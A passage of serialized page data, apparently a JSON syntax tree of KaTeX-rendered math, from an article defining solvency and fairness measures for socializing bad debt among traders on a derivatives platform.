",{"type":24,"tag":135,"props":170364,"children":170366},{"className":170365},[11705,11706],[170367],{"type":24,"tag":271,"props":170368,"children":170370},{"className":170369},[11711],[170371],{"type":24,"tag":271,"props":170372,"children":170374},{"className":170373,"ariaHidden":5670},[11716],[170375],{"type":24,"tag":271,"props":170376,"children":170378},{"className":170377},[11721],[170379,170383],{"type":24,"tag":271,"props":170380,"children":170382},{"className":170381,"style":116807},[11726],[],{"type":24,"tag":271,"props":170384,"children":170386},{"className":170385},[11732],[170387,170392],{"type":24,"tag":271,"props":170388,"children":170390},{"className":170389,"style":100323},[11732,29273],[170391],{"type":29,"value":167908},{"type":24,"tag":271,"props":170393,"children":170395},{"className":170394},[11747],[170396],{"type":24,"tag":271,"props":170397,"children":170399},{"className":170398},[11752,29327],[170400,170429],{"type":24,"tag":271,"props":170401,"children":170403},{"className":170402},[11757],[170404,170424],{"type":24,"tag":271,"props":170405,"children":170407},{"className":170406,"style":100366},[11762],[170408],{"type":24,"tag":271,"props":170409,"children":170410},{"style":100370},[170411,170415],{"type":24,"tag":271,"props":170412,"children":170414},{"className":170413,"style":11772},[11771],[],{"type":24,"tag":271,"props":170416,"children":170418},{"className":170417},[11777,11778,11779,11780],[170419],{"type":24,"tag":271,"props":170420,"children":170422},{"className":170421},[11732,29273,11780],[170423],{"type":29,"value":11462},{"type":24,"tag":271,"props":170425,"children":170427},{"className":170426},[29430],[170428],{"type":29,"value":29433},{"type":24,"tag":271,"props":170430,"children":170432},{"className":170431},[11757],[170433],{"type":24,"tag":271,"props":170434,"children":170436},{"className":170435,"style":99920},[11762],[170437],{"type":24,"tag":271,"props":170438,"children":170439},{},[],{"type":29,"value":170441}," is PNL for longs, negated for shorts; ",{"type":24,"tag":135,"props":170443,"children":170445},{"className":170444},[11705,11706],[170446],{"type":24,"tag":271,"props":170447,"children":170449},{"className":170448},[11711],[170450],{"type":24,"tag":271,"props":170451,"children":170453},{"className":170452,"ariaHidden":5670},[11716],[170454],{"type":24,"tag":271,"props":170455,"children":170457},{"className":170456},[11721],[170458,170462],{"type":24,"tag":271,"props":170459,"children":170461},{"className":170460,"style":116807},[11726],[],{"type":24,"tag":271,"props":170463,"children":170465},{"className":170464},[11732],[170466,170471],{"type":24,"tag":271,"props":170467,"children":170469},{"className":170468,"style":129117},[11732,29273],[170470],{"type":29,"value":2930},{"type":24,"tag":271,"props":170472,"children":170474},{"className":170473},[11747],[170475],{"type":24,"tag":271,"props":170476,"children":170478},{"className":170477},[11752,29327],[170479,170508],{"type":24,"tag":271,"props":170480,"children":170482},{"className":170481},[11757],[170483,170503],{"type":24,"tag":271,"props":170484,"children":170486},{"className":170485,"style":100366},[11762],[170487],{"type":24,"tag":271,"props":170488,"children":170489},{"style":168065},[170490,170494],{"type":24,"tag":271,"props":170491,"children":170493},{"className":170492,"style":11772},[11771],[],{"type":24,"tag":271,"props":170495,"children":170497},{"className":170496},[11777,11778,11779,11780],[170498],{"type":24,"tag":271,"props":170499,"children":170501},{"className":170500},[11732,29273,11780],[170502],{"type":29,"value":11462},{"type":24,"tag":271,"props":170504,"children":170506},{"className":170505},[29430],[170507],{"type":29,"value":29433},{"type":24,"tag":271,"props":170509,"children":170511},{"className":170510},[11757],[170512],{"type":24,"tag":271,"props":170513,"children":170515},{"className":170514,"style":99920},[11762],[170516],{"type":24,"tag":271,"props":170517,"children":170518},{},[],{"type":29,"value":170520}," is the positive part of PNL.)",{"type":24,"tag":25,"props":170522,"children":170523},{},[170524],{"type":29,"value":170525},"And let's make the trilemma definitions concrete:",{"type":24,"tag":97,"props":170527,"children":170528},{},[170529,171003,171567],{"type":24,"tag":101,"props":170530,"children":170531},{},[170532,170536,170537,170791,170793,170844,170846,170949,170950,171001],{"type":24,"tag":10648,"props":170533,"children":170534},{},[170535],{"type":29,"value":167649},{"type":29,"value":40581},{"type":24,"tag":135,"props":170538,"children":170540},{"className":170539},[11705,11706],[170541],{"type":24,"tag":271,"props":170542,"children":170544},{"className":170543},[11711],[170545],{"type":24,"tag":271,"props":170546,"children":170548},{"className":170547,"ariaHidden":5670},[11716],[170549,170576],{"type":24,"tag":271,"props":170550,"children":170552},{"className":170551},[11721],[170553,170558,170563,170567,170572],{"type":24,"tag":271,"props":170554,"children":170557},{"className":170555,"style":170556},[11726],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":170559,"children":170561},{"className":170560},[11732],[170562],{"type":29,"value":156},{"type":24,"tag":271,"props":170564,"children":170566},{"className":170565,"style":11811},[11810],[],{"type":24,"tag":271,"props":170568,"children":170570},{"className":170569},[11816],[170571],{"type":29,"value":11791},{"type":24,"tag":271,"props":170573,"children":170575},{"className":170574,"style":11811},[11810],[],{"type":24,"tag":271,"props":170577,"children":170579},{"className":170578},[11721],[170580,170585],{"type":24,"tag":271,"props":170581,"children":170584},{"className":170582,"style":170583},[11726],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":271,"props":170586,"children":170588},{"className":170587},[11732],[170589,170593,170787],{"type":24,"tag":271,"props":170590,"children":170592},{"className":170591},[29402,120355],[],{"type":24,"tag":271,"props":170594,"children":170596},{"className":170595},[120360],[170597],{"type":24,"tag":271,"props":170598,"children":170600},{"className":170599},[11752,29327],[170601,170775],{"type":24,"tag":271,"props":170602,"children":170604},{"className":170603},[11757],[170605,170770],{"type":24,"tag":271,"props":170606,"children":170609},{"className":170607,"style":170608},[11762],"height:0.8884em;",[170610,170684,170695],{"type":24,"tag":271,"props":170611,"children":170612},{"style":120377},[170613,170617],{"type":24,"tag":271,"props":170614,"children":170616},{"className":170615,"style":119008},[11771],[],{"type":24,"tag":271,"props":170618,"children":170620},{"className":170619},[11777,11778,11779,11780],[170621],{"type":24,"tag":271,"props":170622,"children":170624},{"className":170623},[11732,11780],[170625],{"type":24,"tag":271,"props":170626,"children":170628},{"className":170627},[11732,11780],[170629,170634],{"type":24,"tag":271,"props":170630,"children":170632},{"className":170631,"style":99837},[11732,29273,11780],[170633],{"type":29,"value":168324},{"type":24,"tag":271,"props":170635,"children":170637},{"className":170636},[11747],[170638],{"type":24,"tag":271,"props":170639,"children":170641},{"className":170640},[11752,29327],[170642,170672],{"type":24,"tag":271,"props":170643,"children":170645},{"className":170644},[11757],[170646,170667],{"type":24,"tag":271,"props":170647,"children":170649},{"className":170648,"style":119169},[11762],[170650],{"type":24,"tag":271,"props":170651,"children":170653},{"style":170652},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[170654,170658],{"type":24,"tag":271,"props":170655,"children":170657},{"className":170656,"style":115697},[11771],[],{"type":24,"tag":271,"props":170659,"children":170661},{"className":170660},[11777,115702,115703,11780],[170662],{"type":24,"tag":271,"props":170663,"children":170665},{"className":170664,"style":29274},[11732,29273,11780],[170666],{"type":29,"value":13704},{"type":24,"tag":271,"props":170668,"children":170670},{"className":170669},[29430],[170671],{"type":29,"value":29433},{"type":24,"tag":271,"props":170673,"children":170675},{"className":170674},[11757],[170676],{"type":24,"tag":271,"props":170677,"children":170680},{"className":170678,"style":170679},[11762],"height:0.1433em;",[170681],{"type":24,"tag":271,"props":170682,"children":170683},{},[],{"type":24,"tag":271,"props":170685,"children":170686},{"style":120410},[170687,170691],{"type":24,"tag":271,"props":170688,"children":170690},{"className":170689,"style":119008},[11771],[],{"type":24,"tag":271,"props":170692,"children":170694},{"className":170693,"style":120420},[120419],[],{"type":24,"tag":271,"props":170696,"children":170698},{"style":170697},"top:-3.4101em;",[170699,170703],{"type":24,"tag":271,"props":170700,"children":170702},{"className":170701,"style":119008},[11771],[],{"type":24,"tag":271,"props":170704,"children":170706},{"className":170705},[11777,11778,11779,11780],[170707],{"type":24,"tag":271,"props":170708,"children":170710},{"className":170709},[11732,11780],[170711],{"type":24,"tag":271,"props":170712,"children":170714},{"className":170713},[11732,11780],[170715,170720],{"type":24,"tag":271,"props":170716,"children":170718},{"className":170717,"style":129614},[11732,29273,11780],[170719],{"type":29,"value":129617},{"type":24,"tag":271,"props":170721,"children":170723},{"className":170722},[11747],[170724],{"type":24,"tag":271,"props":170725,"children":170727},{"className":170726},[11752,29327],[170728,170759],{"type":24,"tag":271,"props":170729,"children":170731},{"className":170730},[11757],[170732,170754],{"type":24,"tag":271,"props":170733,"children":170736},{"className":170734,"style":170735},[11762],"height:0.2963em;",[170737],{"type":24,"tag":271,"props":170738,"children":170740},{"style":170739},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[170741,170745],{"type":24,"tag":271,"props":170742,"children":170744},{"className":170743,"style":115697},[11771],[],{"type":24,"tag":271,"props":170746,"children":170748},{"className":170747},[11777,115702,115703,11780],[170749],{"type":24,"tag":271,"props":170750,"children":170752},{"className":170751},[11732,29273,11780],[170753],{"type":29,"value":29415},{"type":24,"tag":271,"props":170755,"children":170757},{"className":170756},[29430],[170758],{"type":29,"value":29433},{"type":24,"tag":271,"props":170760,"children":170762},{"className":170761},[11757],[170763],{"type":24,"tag":271,"props":170764,"children":170766},{"className":170765,"style":115722},[11762],[170767],{"type":24,"tag":271,"props":170768,"children":170769},{},[],{"type":24,"tag":271,"props":170771,"children":170773},{"className":170772},[29430],[170774],{"type":29,"value":29433},{"type":24,"tag":271,"props":170776,"children":170778},{"className":170777},[11757],[170779],{"type":24,"tag":271,"props":170780,"children":170783},{"className":170781,"style":170782},[11762],"height:0.4453em;",[170784],{"type":24,"tag":271,"props":170785,"children":170786},{},[],{"type":24,"tag":271,"props":170788,"children":170790},{"className":170789},[29424,120355],[],{"type":29,"value":170792}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":135,"props":170794,"children":170796},{"className":170795},[11705,11706],[170797],{"type":24,"tag":271,"props":170798,"children":170800},{"className":170799},[11711],[170801],{"type":24,"tag":271,"props":170802,"children":170804},{"className":170803,"ariaHidden":5670},[11716],[170805,170831],{"type":24,"tag":271,"props":170806,"children":170808},{"className":170807},[11721],[170809,170813,170818,170822,170827],{"type":24,"tag":271,"props":170810,"children":170812},{"className":170811,"style":29268},[11726],[],{"type":24,"tag":271,"props":170814,"children":170816},{"className":170815,"style":29732},[11732,29273],[170817],{"type":29,"value":29735},{"type":24,"tag":271,"props":170819,"children":170821},{"className":170820,"style":11908},[11810],[],{"type":24,"tag":271,"props":170823,"children":170825},{"className":170824},[11913],[170826],{"type":29,"value":762},{"type":24,"tag":271,"props":170828,"children":170830},{"className":170829,"style":11908},[11810],[],{"type":24,"tag":271,"props":170832,"children":170834},{"className":170833},[11721],[170835,170839],{"type":24,"tag":271,"props":170836,"children":170838},{"className":170837,"style":100868},[11726],[],{"type":24,"tag":271,"props":170840,"children":170842},{"className":170841},[11732],[170843],{"type":29,"value":156},{"type":29,"value":170845}," means fully solvent (",{"type":24,"tag":135,"props":170847,"children":170849},{"className":170848},[11705,11706],[170850],{"type":24,"tag":271,"props":170851,"children":170853},{"className":170852},[11711],[170854],{"type":24,"tag":271,"props":170855,"children":170857},{"className":170856,"ariaHidden":5670},[11716],[170858,170936],{"type":24,"tag":271,"props":170859,"children":170861},{"className":170860},[11721],[170862,170866,170923,170927,170932],{"type":24,"tag":271,"props":170863,"children":170865},{"className":170864,"style":117834},[11726],[],{"type":24,"tag":271,"props":170867,"children":170869},{"className":170868},[11732],[170870,170875],{"type":24,"tag":271,"props":170871,"children":170873},{"className":170872,"style":129614},[11732,29273],[170874],{"type":29,"value":129617},{"type":24,"tag":271,"props":170876,"children":170878},{"className":170877},[11747],[170879],{"type":24,"tag":271,"props":170880,"children":170882},{"className":170881},[11752,29327],[170883,170912],{"type":24,"tag":271,"props":170884,"children":170886},{"className":170885},[11757],[170887,170907],{"type":24,"tag":271,"props":170888,"children":170890},{"className":170889,"style":168480},[11762],[170891],{"type":24,"tag":271,"props":170892,"children":170893},{"style":168484},[170894,170898],{"type":24,"tag":271,"props":170895,"children":170897},{"className":170896,"style":11772},[11771],[],{"type":24,"tag":271,"props":170899,"children":170901},{"className":170900},[11777,11778,11779,11780],[170902],{"type":24,"tag":271,"props":170903,"children":170905},{"className":170904},[11732,29273,11780],[170906],{"type":29,"value":29415},{"type":24,"tag":271,"props":170908,"children":170910},{"className":170909},[29430],[170911],{"type":29,"value":29433},{"type":24,"tag":271,"props":170913,"children":170915},{"className":170914},[11757],[170916],{"type":24,"tag":271,"props":170917,"children":170919},{"className":170918,"style":99920},[11762],[170920],{"type":24,"tag":271,"props":170921,"children":170922},{},[],{"type":24,"tag":271,"props":170924,"children":170926},{"className":170925,"style":11908},[11810],[],{"type":24,"tag":271,"props":170928,"children":170930},{"className":170929},[11913],[170931],{"type":29,"value":762},{"type":24,"tag":271,"props":170933,"children":170935},{"className":170934,"style":11908},[11810],[],{"type":24,"tag":271,"props":170937,"children":170939},{"className":170938},[11721],[170940,170944],{"type":24,"tag":271,"props":170941,"children":170943},{"className":170942,"style":100868},[11726],[],{"type":24,"tag":271,"props":170945,"children":170947},{"className":170946},[11732],[170948],{"type":29,"value":4121},{"type":29,"value":22874},{"type":24,"tag":135,"props":170951,"children":170953},{"className":170952},[11705,11706],[170954],{"type":24,"tag":271,"props":170955,"children":170957},{"className":170956},[11711],[170958],{"type":24,"tag":271,"props":170959,"children":170961},{"className":170960,"ariaHidden":5670},[11716],[170962,170988],{"type":24,"tag":271,"props":170963,"children":170965},{"className":170964},[11721],[170966,170970,170975,170979,170984],{"type":24,"tag":271,"props":170967,"children":170969},{"className":170968,"style":29268},[11726],[],{"type":24,"tag":271,"props":170971,"children":170973},{"className":170972,"style":29732},[11732,29273],[170974],{"type":29,"value":29735},{"type":24,"tag":271,"props":170976,"children":170978},{"className":170977,"style":11908},[11810],[],{"type":24,"tag":271,"props":170980,"children":170982},{"className":170981},[11913],[170983],{"type":29,"value":762},{"type":24,"tag":271,"props":170985,"children":170987},{"className":170986,"style":11908},[11810],[],{"type":24,"tag":271,"props":170989,"children":170991},{"className":170990},[11721],[170992,170996],{"type":24,"tag":271,"props":170993,"children":170995},{"className":170994,"style":100868},[11726],[],{"type":24,"tag":271,"props":170997,"children":170999},{"className":170998},[11732],[171000],{"type":29,"value":4121},{"type":29,"value":171002}," means nothing was recovered.",{"type":24,"tag":101,"props":171004,"children":171005},{},[171006,171010,171011,171134,171135,171352,171354,171458,171460,171511,171513,171565],{"type":24,"tag":10648,"props":171007,"children":171008},{},[171009],{"type":29,"value":167659},{"type":29,"value":40581},{"type":24,"tag":135,"props":171012,"children":171014},{"className":171013},[11705,11706],[171015],{"type":24,"tag":271,"props":171016,"children":171018},{"className":171017},[11711],[171019],{"type":24,"tag":271,"props":171020,"children":171022},{"className":171021,"ariaHidden":5670},[11716],[171023,171049],{"type":24,"tag":271,"props":171024,"children":171026},{"className":171025},[11721],[171027,171031,171036,171040,171045],{"type":24,"tag":271,"props":171028,"children":171030},{"className":171029,"style":170556},[11726],[],{"type":24,"tag":271,"props":171032,"children":171034},{"className":171033},[11732],[171035],{"type":29,"value":156},{"type":24,"tag":271,"props":171037,"children":171039},{"className":171038,"style":11811},[11810],[],{"type":24,"tag":271,"props":171041,"children":171043},{"className":171042},[11816],[171044],{"type":29,"value":11791},{"type":24,"tag":271,"props":171046,"children":171048},{"className":171047,"style":11811},[11810],[],{"type":24,"tag":271,"props":171050,"children":171052},{"className":171051},[11721],[171053,171057,171067,171072,171129],{"type":24,"tag":271,"props":171054,"children":171056},{"className":171055,"style":11831},[11726],[],{"type":24,"tag":271,"props":171058,"children":171060},{"className":171059},[11732,29],[171061],{"type":24,"tag":271,"props":171062,"children":171064},{"className":171063},[11732],[171065],{"type":29,"value":171066},"Gini",{"type":24,"tag":271,"props":171068,"children":171070},{"className":171069},[29402],[171071],{"type":29,"value":606},{"type":24,"tag":271,"props":171073,"children":171075},{"className":171074},[11732],[171076,171081],{"type":24,"tag":271,"props":171077,"children":171079},{"className":171078},[11732,29273],[171080],{"type":29,"value":91135},{"type":24,"tag":271,"props":171082,"children":171084},{"className":171083},[11747],[171085],{"type":24,"tag":271,"props":171086,"children":171088},{"className":171087},[11752,29327],[171089,171118],{"type":24,"tag":271,"props":171090,"children":171092},{"className":171091},[11757],[171093,171113],{"type":24,"tag":271,"props":171094,"children":171096},{"className":171095,"style":100366},[11762],[171097],{"type":24,"tag":271,"props":171098,"children":171099},{"style":99893},[171100,171104],{"type":24,"tag":271,"props":171101,"children":171103},{"className":171102,"style":11772},[11771],[],{"type":24,"tag":271,"props":171105,"children":171107},{"className":171106},[11777,11778,11779,11780],[171108],{"type":24,"tag":271,"props":171109,"children":171111},{"className":171110},[11732,29273,11780],[171112],{"type":29,"value":11462},{"type":24,"tag":271,"props":171114,"children":171116},{"className":171115},[29430],[171117],{"type":29,"value":29433},{"type":24,"tag":271,"props":171119,"children":171121},{"className":171120},[11757],[171122],{"type":24,"tag":271,"props":171123,"children":171125},{"className":171124,"style":99920},[11762],[171126],{"type":24,"tag":271,"props":171127,"children":171128},{},[],{"type":24,"tag":271,"props":171130,"children":171132},{"className":171131},[29424],[171133],{"type":29,"value":2693},{"type":29,"value":15038},{"type":24,"tag":135,"props":171136,"children":171138},{"className":171137},[11705,11706],[171139],{"type":24,"tag":271,"props":171140,"children":171142},{"className":171141},[11711],[171143],{"type":24,"tag":271,"props":171144,"children":171146},{"className":171145,"ariaHidden":5670},[11716],[171147,171225],{"type":24,"tag":271,"props":171148,"children":171150},{"className":171149},[11721],[171151,171155,171212,171216,171221],{"type":24,"tag":271,"props":171152,"children":171154},{"className":171153,"style":149116},[11726],[],{"type":24,"tag":271,"props":171156,"children":171158},{"className":171157},[11732],[171159,171164],{"type":24,"tag":271,"props":171160,"children":171162},{"className":171161},[11732,29273],[171163],{"type":29,"value":91135},{"type":24,"tag":271,"props":171165,"children":171167},{"className":171166},[11747],[171168],{"type":24,"tag":271,"props":171169,"children":171171},{"className":171170},[11752,29327],[171172,171201],{"type":24,"tag":271,"props":171173,"children":171175},{"className":171174},[11757],[171176,171196],{"type":24,"tag":271,"props":171177,"children":171179},{"className":171178,"style":100366},[11762],[171180],{"type":24,"tag":271,"props":171181,"children":171182},{"style":99893},[171183,171187],{"type":24,"tag":271,"props":171184,"children":171186},{"className":171185,"style":11772},[11771],[],{"type":24,"tag":271,"props":171188,"children":171190},{"className":171189},[11777,11778,11779,11780],[171191],{"type":24,"tag":271,"props":171192,"children":171194},{"className":171193},[11732,29273,11780],[171195],{"type":29,"value":11462},{"type":24,"tag":271,"props":171197,"children":171199},{"className":171198},[29430],[171200],{"type":29,"value":29433},{"type":24,"tag":271,"props":171202,"children":171204},{"className":171203},[11757],[171205],{"type":24,"tag":271,"props":171206,"children":171208},{"className":171207,"style":99920},[11762],[171209],{"type":24,"tag":271,"props":171210,"children":171211},{},[],{"type":24,"tag":271,"props":171213,"children":171215},{"className":171214,"style":11908},[11810],[],{"type":24,"tag":271,"props":171217,"children":171219},{"className":171218},[11913],[171220],{"type":29,"value":762},{"type":24,"tag":271,"props":171222,"children":171224},{"className":171223,"style":11908},[11810],[],{"type":24,"tag":271,"props":171226,"children":171228},{"className":171227},[11721],[171229,171233,171290,171295],{"type":24,"tag":271,"props":171230,"children":171232},{"className":171231,"style":11831},[11726],[],{"type":24,"tag":271,"props":171234,"children":171236},{"className":171235},[11732],[171237,171242],{"type":24,"tag":271,"props":171238,"children":171240},{"className":171239},[11732,29273],[171241],{"type":29,"value":6034},{"type":24,"tag":271,"props":171243,"children":171245},{"className":171244},[11747],[171246],{"type":24,"tag":271,"props":171247,"children":171249},{"className":171248},[11752,29327],[171250,171279],{"type":24,"tag":271,"props":171251,"children":171253},{"className":171252},[11757],[171254,171274],{"type":24,"tag":271,"props":171255,"children":171257},{"className":171256,"style":100366},[11762],[171258],{"type":24,"tag":271,"props":171259,"children":171260},{"style":99893},[171261,171265],{"type":24,"tag":271,"props":171262,"children":171264},{"className":171263,"style":11772},[11771],[],{"type":24,"tag":271,"props":171266,"children":171268},{"className":171267},[11777,11778,11779,11780],[171269],{"type":24,"tag":271,"props":171270,"children":171272},{"className":171271},[11732,29273,11780],[171273],{"type":29,"value":11462},{"type":24,"tag":271,"props":171275,"children":171277},{"className":171276},[29430],[171278],{"type":29,"value":29433},{"type":24,"tag":271,"props":171280,"children":171282},{"className":171281},[11757],[171283],{"type":24,"tag":271,"props":171284,"children":171286},{"className":171285,"style":99920},[11762],[171287],{"type":24,"tag":271,"props":171288,"children":171289},{},[],{"type":24,"tag":271,"props":171291,"children":171293},{"className":171292},[11732],[171294],{"type":29,"value":12298},{"type":24,"tag":271,"props":171296,"children":171298},{"className":171297},[11732],[171299,171304],{"type":24,"tag":271,"props":171300,"children":171302},{"className":171301,"style":129117},[11732,29273],[171303],{"type":29,"value":2930},{"type":24,"tag":271,"props":171305,"children":171307},{"className":171306},[11747],[171308],{"type":24,"tag":271,"props":171309,"children":171311},{"className":171310},[11752,29327],[171312,171341],{"type":24,"tag":271,"props":171313,"children":171315},{"className":171314},[11757],[171316,171336],{"type":24,"tag":271,"props":171317,"children":171319},{"className":171318,"style":100366},[11762],[171320],{"type":24,"tag":271,"props":171321,"children":171322},{"style":168065},[171323,171327],{"type":24,"tag":271,"props":171324,"children":171326},{"className":171325,"style":11772},[11771],[],{"type":24,"tag":271,"props":171328,"children":171330},{"className":171329},[11777,11778,11779,11780],[171331],{"type":24,"tag":271,"props":171332,"children":171334},{"className":171333},[11732,29273,11780],[171335],{"type":29,"value":11462},{"type":24,"tag":271,"props":171337,"children":171339},{"className":171338},[29430],[171340],{"type":29,"value":29433},{"type":24,"tag":271,"props":171342,"children":171344},{"className":171343},[11757],[171345],{"type":24,"tag":271,"props":171346,"children":171348},{"className":171347,"style":99920},[11762],[171349],{"type":24,"tag":271,"props":171350,"children":171351},{},[],{"type":29,"value":171353}," for each winner with ",{"type":24,"tag":135,"props":171355,"children":171357},{"className":171356},[11705,11706],[171358],{"type":24,"tag":271,"props":171359,"children":171361},{"className":171360},[11711],[171362],{"type":24,"tag":271,"props":171363,"children":171365},{"className":171364,"ariaHidden":5670},[11716],[171366,171445],{"type":24,"tag":271,"props":171367,"children":171369},{"className":171368},[11721],[171370,171375,171432,171436,171441],{"type":24,"tag":271,"props":171371,"children":171374},{"className":171372,"style":171373},[11726],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":171376,"children":171378},{"className":171377},[11732],[171379,171384],{"type":24,"tag":271,"props":171380,"children":171382},{"className":171381,"style":129117},[11732,29273],[171383],{"type":29,"value":2930},{"type":24,"tag":271,"props":171385,"children":171387},{"className":171386},[11747],[171388],{"type":24,"tag":271,"props":171389,"children":171391},{"className":171390},[11752,29327],[171392,171421],{"type":24,"tag":271,"props":171393,"children":171395},{"className":171394},[11757],[171396,171416],{"type":24,"tag":271,"props":171397,"children":171399},{"className":171398,"style":100366},[11762],[171400],{"type":24,"tag":271,"props":171401,"children":171402},{"style":168065},[171403,171407],{"type":24,"tag":271,"props":171404,"children":171406},{"className":171405,"style":11772},[11771],[],{"type":24,"tag":271,"props":171408,"children":171410},{"className":171409},[11777,11778,11779,11780],[171411],{"type":24,"tag":271,"props":171412,"children":171414},{"className":171413},[11732,29273,11780],[171415],{"type":29,"value":11462},{"type":24,"tag":271,"props":171417,"children":171419},{"className":171418},[29430],[171420],{"type":29,"value":29433},{"type":24,"tag":271,"props":171422,"children":171424},{"className":171423},[11757],[171425],{"type":24,"tag":271,"props":171426,"children":171428},{"className":171427,"style":99920},[11762],[171429],{"type":24,"tag":271,"props":171430,"children":171431},{},[],{"type":24,"tag":271,"props":171433,"children":171435},{"className":171434,"style":11908},[11810],[],{"type":24,"tag":271,"props":171437,"children":171439},{"className":171438},[11913],[171440],{"type":29,"value":18165},{"type":24,"tag":271,"props":171442,"children":171444},{"className":171443,"style":11908},[11810],[],{"type":24,"tag":271,"props":171446,"children":171448},{"className":171447},[11721],[171449,171453],{"type":24,"tag":271,"props":171450,"children":171452},{"className":171451,"style":100868},[11726],[],{"type":24,"tag":271,"props":171454,"children":171456},{"className":171455},[11732],[171457],{"type":29,"value":4121},{"type":29,"value":171459}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":135,"props":171461,"children":171463},{"className":171462},[11705,11706],[171464],{"type":24,"tag":271,"props":171465,"children":171467},{"className":171466},[11711],[171468],{"type":24,"tag":271,"props":171469,"children":171471},{"className":171470,"ariaHidden":5670},[11716],[171472,171498],{"type":24,"tag":271,"props":171473,"children":171475},{"className":171474},[11721],[171476,171480,171485,171489,171494],{"type":24,"tag":271,"props":171477,"children":171479},{"className":171478,"style":29268},[11726],[],{"type":24,"tag":271,"props":171481,"children":171483},{"className":171482,"style":29274},[11732,29273],[171484],{"type":29,"value":128615},{"type":24,"tag":271,"props":171486,"children":171488},{"className":171487,"style":11908},[11810],[],{"type":24,"tag":271,"props":171490,"children":171492},{"className":171491},[11913],[171493],{"type":29,"value":762},{"type":24,"tag":271,"props":171495,"children":171497},{"className":171496,"style":11908},[11810],[],{"type":24,"tag":271,"props":171499,"children":171501},{"className":171500},[11721],[171502,171506],{"type":24,"tag":271,"props":171503,"children":171505},{"className":171504,"style":100868},[11726],[],{"type":24,"tag":271,"props":171507,"children":171509},{"className":171508},[11732],[171510],{"type":29,"value":156},{"type":29,"value":171512}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":135,"props":171514,"children":171516},{"className":171515},[11705,11706],[171517],{"type":24,"tag":271,"props":171518,"children":171520},{"className":171519},[11711],[171521],{"type":24,"tag":271,"props":171522,"children":171524},{"className":171523,"ariaHidden":5670},[11716],[171525,171552],{"type":24,"tag":271,"props":171526,"children":171528},{"className":171527},[11721],[171529,171533,171538,171542,171548],{"type":24,"tag":271,"props":171530,"children":171532},{"className":171531,"style":29268},[11726],[],{"type":24,"tag":271,"props":171534,"children":171536},{"className":171535,"style":29274},[11732,29273],[171537],{"type":29,"value":128615},{"type":24,"tag":271,"props":171539,"children":171541},{"className":171540,"style":11908},[11810],[],{"type":24,"tag":271,"props":171543,"children":171545},{"className":171544},[11913],[171546],{"type":29,"value":171547},"≈",{"type":24,"tag":271,"props":171549,"children":171551},{"className":171550,"style":11908},[11810],[],{"type":24,"tag":271,"props":171553,"children":171555},{"className":171554},[11721],[171556,171560],{"type":24,"tag":271,"props":171557,"children":171559},{"className":171558,"style":100868},[11726],[],{"type":24,"tag":271,"props":171561,"children":171563},{"className":171562},[11732],[171564],{"type":29,"value":4121},{"type":29,"value":171566}," means a few get wiped while most are untouched.",{"type":24,"tag":101,"props":171568,"children":171569},{},[171570,171574,171575,171733,171735,171829,171831],{"type":24,"tag":10648,"props":171571,"children":171572},{},[171573],{"type":29,"value":167669},{"type":29,"value":40581},{"type":24,"tag":135,"props":171576,"children":171578},{"className":171577},[11705,11706],[171579],{"type":24,"tag":271,"props":171580,"children":171582},{"className":171581},[11711],[171583],{"type":24,"tag":271,"props":171584,"children":171586},{"className":171585,"ariaHidden":5670},[11716],[171587],{"type":24,"tag":271,"props":171588,"children":171590},{"className":171589},[11721],[171591,171596,171671,171676],{"type":24,"tag":271,"props":171592,"children":171595},{"className":171593,"style":171594},[11726],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":271,"props":171597,"children":171599},{"className":171598},[11732],[171600,171605],{"type":24,"tag":271,"props":171601,"children":171603},{"className":171602,"style":101845},[11732,29273],[171604],{"type":29,"value":168394},{"type":24,"tag":271,"props":171606,"children":171608},{"className":171607},[11747],[171609],{"type":24,"tag":271,"props":171610,"children":171612},{"className":171611},[11752,29327],[171613,171659],{"type":24,"tag":271,"props":171614,"children":171616},{"className":171615},[11757],[171617,171654],{"type":24,"tag":271,"props":171618,"children":171620},{"className":171619,"style":115554},[11762],[171621,171638],{"type":24,"tag":271,"props":171622,"children":171624},{"style":171623},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[171625,171629],{"type":24,"tag":271,"props":171626,"children":171628},{"className":171627,"style":11772},[11771],[],{"type":24,"tag":271,"props":171630,"children":171632},{"className":171631},[11777,11778,11779,11780],[171633],{"type":24,"tag":271,"props":171634,"children":171636},{"className":171635,"style":29274},[11732,29273,11780],[171637],{"type":29,"value":13704},{"type":24,"tag":271,"props":171639,"children":171640},{"style":11766},[171641,171645],{"type":24,"tag":271,"props":171642,"children":171644},{"className":171643,"style":11772},[11771],[],{"type":24,"tag":271,"props":171646,"children":171648},{"className":171647},[11777,11778,11779,11780],[171649],{"type":24,"tag":271,"props":171650,"children":171652},{"className":171651,"style":100323},[11732,29273,11780],[171653],{"type":29,"value":167908},{"type":24,"tag":271,"props":171655,"children":171657},{"className":171656},[29430],[171658],{"type":29,"value":29433},{"type":24,"tag":271,"props":171660,"children":171662},{"className":171661},[11757],[171663],{"type":24,"tag":271,"props":171664,"children":171667},{"className":171665,"style":171666},[11762],"height:0.2753em;",[171668],{"type":24,"tag":271,"props":171669,"children":171670},{},[],{"type":24,"tag":271,"props":171672,"children":171674},{"className":171673},[11732],[171675],{"type":29,"value":12298},{"type":24,"tag":271,"props":171677,"children":171679},{"className":171678},[11732],[171680,171685],{"type":24,"tag":271,"props":171681,"children":171683},{"className":171682,"style":101845},[11732,29273],[171684],{"type":29,"value":168394},{"type":24,"tag":271,"props":171686,"children":171688},{"className":171687},[11747],[171689],{"type":24,"tag":271,"props":171690,"children":171692},{"className":171691},[11752,29327],[171693,171722],{"type":24,"tag":271,"props":171694,"children":171696},{"className":171695},[11757],[171697,171717],{"type":24,"tag":271,"props":171698,"children":171700},{"className":171699,"style":149392},[11762],[171701],{"type":24,"tag":271,"props":171702,"children":171703},{"style":168413},[171704,171708],{"type":24,"tag":271,"props":171705,"children":171707},{"className":171706,"style":11772},[11771],[],{"type":24,"tag":271,"props":171709,"children":171711},{"className":171710},[11777,11778,11779,11780],[171712],{"type":24,"ta